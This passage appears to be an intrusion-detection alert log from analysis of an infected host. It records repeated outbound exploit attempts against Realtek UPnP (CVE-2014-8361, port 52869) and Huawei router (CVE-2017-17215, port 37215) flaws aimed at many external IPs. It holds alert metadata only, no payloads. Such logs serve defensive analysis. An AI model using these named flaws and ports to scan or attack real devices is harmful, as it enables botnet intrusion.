Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.43.137.199

Timestamp:	07/20/24-23:01:41.205247
SID:	2027339
Source Port:	48560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.0.173.57

Timestamp:	07/20/24-23:01:44.338159
SID:	2027339
Source Port:	42886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.252.176.80

Timestamp:	07/20/24-23:01:44.826234
SID:	2831300
Source Port:	36994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.246.190.193

Timestamp:	07/20/24-23:02:04.577562
SID:	2025132
Source Port:	52992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 145.149.22.179

Timestamp:	07/20/24-23:01:00.641498
SID:	2829579
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.205.165.15

Timestamp:	07/20/24-23:01:42.789220
SID:	2025132
Source Port:	40438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.102.1.140

Timestamp:	07/20/24-23:01:43.455918
SID:	2027339
Source Port:	47652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.67.56.20

Timestamp:	07/20/24-23:01:41.378872
SID:	2027339
Source Port:	38510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.36.62.56

Timestamp:	07/20/24-23:01:47.403768
SID:	2831300
Source Port:	47372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.135.58.157

Timestamp:	07/20/24-23:01:08.565561
SID:	2027339
Source Port:	34016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.56.54.197

Timestamp:	07/20/24-23:01:44.776719
SID:	2027339
Source Port:	52656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.76.42.187

Timestamp:	07/20/24-23:01:42.751499
SID:	2027339
Source Port:	38742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.38.115

Timestamp:	07/20/24-23:01:04.094795
SID:	2829579
Source Port:	60280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.214.91.137

Timestamp:	07/20/24-23:01:08.864629
SID:	2027339
Source Port:	40650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.116.229.3

Timestamp:	07/20/24-23:01:27.658221
SID:	2829579
Source Port:	58944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.202.169.141

Timestamp:	07/20/24-23:01:48.970191
SID:	2027339
Source Port:	49902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 128.114.73.170

Timestamp:	07/20/24-23:01:50.845923
SID:	2831300
Source Port:	44268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.164.3

Timestamp:	07/20/24-23:01:24.862410
SID:	2829579
Source Port:	51818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.9.135.122

Timestamp:	07/20/24-23:01:50.949008
SID:	2831300
Source Port:	59820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.128.103.156

Timestamp:	07/20/24-23:01:11.631728
SID:	2835222
Source Port:	49720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.229.91.171

Timestamp:	07/20/24-23:01:41.919931
SID:	2831300
Source Port:	53412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.193.24.191

Timestamp:	07/20/24-23:01:48.394890
SID:	2831300
Source Port:	60250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.49.56.86

Timestamp:	07/20/24-23:01:58.751560
SID:	2027339
Source Port:	43748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.164.14.81

Timestamp:	07/20/24-23:01:40.321964
SID:	2829579
Source Port:	46110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.151.67.249

Timestamp:	07/20/24-23:01:31.978141
SID:	2829579
Source Port:	57454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.206.186

Timestamp:	07/20/24-23:01:40.290002
SID:	2829579
Source Port:	34556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.150.161.105

Timestamp:	07/20/24-23:01:48.547161
SID:	2025132
Source Port:	36362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.12.120.37

Timestamp:	07/20/24-23:00:57.222279
SID:	2835222
Source Port:	60150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.141.66.103

Timestamp:	07/20/24-23:01:21.915268
SID:	2829579
Source Port:	54390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.43.122.73

Timestamp:	07/20/24-23:01:56.579360
SID:	2027339
Source Port:	50838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 108.136.107.241

Timestamp:	07/20/24-23:01:24.883171
SID:	2835222
Source Port:	33146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.63.84.166

Timestamp:	07/20/24-23:01:10.539170
SID:	2027339
Source Port:	53906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.116.171.252

Timestamp:	07/20/24-23:01:45.775798
SID:	2025132
Source Port:	32852
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.119.42.207

Timestamp:	07/20/24-23:01:55.481754
SID:	2831300
Source Port:	57092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.72.160.248

Timestamp:	07/20/24-23:01:07.005156
SID:	2829579
Source Port:	41344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 173.155.49.17

Timestamp:	07/20/24-23:00:57.220937
SID:	2829579
Source Port:	42510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 68.53.164.7

Timestamp:	07/20/24-23:02:11.592030
SID:	2025132
Source Port:	45658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.33.104.96

Timestamp:	07/20/24-23:01:04.082385
SID:	2829579
Source Port:	57988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.250.207.152

Timestamp:	07/20/24-23:01:08.615260
SID:	2027339
Source Port:	36786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.86.156.82

Timestamp:	07/20/24-23:01:43.227281
SID:	2027339
Source Port:	47622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.6.1.136

Timestamp:	07/20/24-23:01:44.302920
SID:	2027339
Source Port:	33286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.55.165.96

Timestamp:	07/20/24-23:02:02.772130
SID:	2027339
Source Port:	59538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.184.157.141

Timestamp:	07/20/24-23:01:45.053180
SID:	2027339
Source Port:	42650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.189.55.135

Timestamp:	07/20/24-23:01:01.143446
SID:	2027339
Source Port:	52638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.210.17.240

Timestamp:	07/20/24-23:01:03.153933
SID:	2027339
Source Port:	34664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.198.102

Timestamp:	07/20/24-23:01:00.637175
SID:	2835222
Source Port:	56940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.9.169.24

Timestamp:	07/20/24-23:01:42.643745
SID:	2027339
Source Port:	53628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.85.109.63

Timestamp:	07/20/24-23:01:44.099799
SID:	2027339
Source Port:	39852
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.62.106

Timestamp:	07/20/24-23:01:34.050672
SID:	2829579
Source Port:	50482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.228.206.146

Timestamp:	07/20/24-23:01:08.646615
SID:	2027339
Source Port:	52406
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.25.37.64

Timestamp:	07/20/24-23:02:14.945129
SID:	2831300
Source Port:	49536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.199.35.177

Timestamp:	07/20/24-23:01:47.943232
SID:	2025132
Source Port:	39244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.42.58.223

Timestamp:	07/20/24-23:01:08.562013
SID:	2027339
Source Port:	44914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.150.128.0

Timestamp:	07/20/24-23:01:02.965900
SID:	2027339
Source Port:	44986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.74.6.111

Timestamp:	07/20/24-23:02:09.263272
SID:	2027339
Source Port:	39888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.185.125.173

Timestamp:	07/20/24-23:01:04.244899
SID:	2829579
Source Port:	45032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.44.236.192

Timestamp:	07/20/24-23:01:47.858878
SID:	2027339
Source Port:	58408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.63.234.192

Timestamp:	07/20/24-23:01:01.782123
SID:	2025132
Source Port:	47614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.201.123.76

Timestamp:	07/20/24-23:01:43.951862
SID:	2027339
Source Port:	55238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 114.96.82.28

Timestamp:	07/20/24-23:01:04.049279
SID:	2835222
Source Port:	58100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.214.240.131

Timestamp:	07/20/24-23:00:57.221367
SID:	2829579
Source Port:	52450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.216.224.125

Timestamp:	07/20/24-23:01:47.931222
SID:	2831300
Source Port:	52006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.113.35.189

Timestamp:	07/20/24-23:01:41.165469
SID:	2027339
Source Port:	48418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.96.28.181

Timestamp:	07/20/24-23:02:04.577562
SID:	2027339
Source Port:	53524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.137.194.88

Timestamp:	07/20/24-23:01:20.593640
SID:	2027339
Source Port:	44004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.197.27.100

Timestamp:	07/20/24-23:01:44.452219
SID:	2027339
Source Port:	50638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.173.206.4

Timestamp:	07/20/24-23:01:46.444817
SID:	2025132
Source Port:	54596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.138.181.205

Timestamp:	07/20/24-23:01:41.456455
SID:	2027339
Source Port:	38254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.111.156.136

Timestamp:	07/20/24-23:01:48.308623
SID:	2027339
Source Port:	58142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.57.28.204

Timestamp:	07/20/24-23:01:47.858878
SID:	2027339
Source Port:	55910
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 96.23.98.70

Timestamp:	07/20/24-23:01:58.892811
SID:	2831300
Source Port:	35576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.234.190.125

Timestamp:	07/20/24-23:01:42.454682
SID:	2027339
Source Port:	36628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.116.108.138

Timestamp:	07/20/24-23:01:55.428221
SID:	2027339
Source Port:	55678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.77.21

Timestamp:	07/20/24-23:01:20.175900
SID:	2835222
Source Port:	33096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.175.16

Timestamp:	07/20/24-23:01:27.650871
SID:	2835222
Source Port:	52136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.117.11.208

Timestamp:	07/20/24-23:01:52.019772
SID:	2025132
Source Port:	59776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.23.80.245

Timestamp:	07/20/24-23:00:57.221223
SID:	2835222
Source Port:	44052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.142.247.218

Timestamp:	07/20/24-23:01:20.591862
SID:	2831300
Source Port:	58720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.83.233.195

Timestamp:	07/20/24-23:03:46.099099
SID:	2025132
Source Port:	47524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 156.160.38.108

Timestamp:	07/20/24-23:01:46.604394
SID:	2025132
Source Port:	56780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.229.91.161

Timestamp:	07/20/24-23:01:24.475794
SID:	2025132
Source Port:	48188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.201.129.18

Timestamp:	07/20/24-23:01:45.037292
SID:	2027339
Source Port:	57826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.121.151.152

Timestamp:	07/20/24-23:01:20.124695
SID:	2835222
Source Port:	42546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.229.130.40

Timestamp:	07/20/24-23:01:10.863362
SID:	2027339
Source Port:	36226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.144.253.27

Timestamp:	07/20/24-23:01:44.550538
SID:	2831300
Source Port:	49074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.72.212

Timestamp:	07/20/24-23:01:27.654172
SID:	2835222
Source Port:	36154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 134.79.117.152

Timestamp:	07/20/24-23:01:50.107973
SID:	2025132
Source Port:	49530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 69.202.155.168

Timestamp:	07/20/24-23:01:47.304504
SID:	2025132
Source Port:	43656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.157.173.255

Timestamp:	07/20/24-23:01:31.328855
SID:	2027339
Source Port:	47958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.98.46.120

Timestamp:	07/20/24-23:01:26.210078
SID:	2025132
Source Port:	36794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.203.170.191

Timestamp:	07/20/24-23:01:43.066571
SID:	2831300
Source Port:	38936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.118.231.218

Timestamp:	07/20/24-23:01:31.320679
SID:	2831300
Source Port:	47936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.167.196.86

Timestamp:	07/20/24-23:01:44.446628
SID:	2025132
Source Port:	48604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.113.182.239

Timestamp:	07/20/24-23:00:59.191389
SID:	2829579
Source Port:	55620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.229.109.170

Timestamp:	07/20/24-23:01:44.389834
SID:	2831300
Source Port:	56604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.196.45.114

Timestamp:	07/20/24-23:01:42.672378
SID:	2027339
Source Port:	44018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.17.248.200

Timestamp:	07/20/24-23:01:31.983105
SID:	2835222
Source Port:	32934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.38.103.224

Timestamp:	07/20/24-23:01:42.276859
SID:	2831300
Source Port:	52278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.95.140

Timestamp:	07/20/24-23:01:07.082045
SID:	2835222
Source Port:	36518
Destination Port:	37215
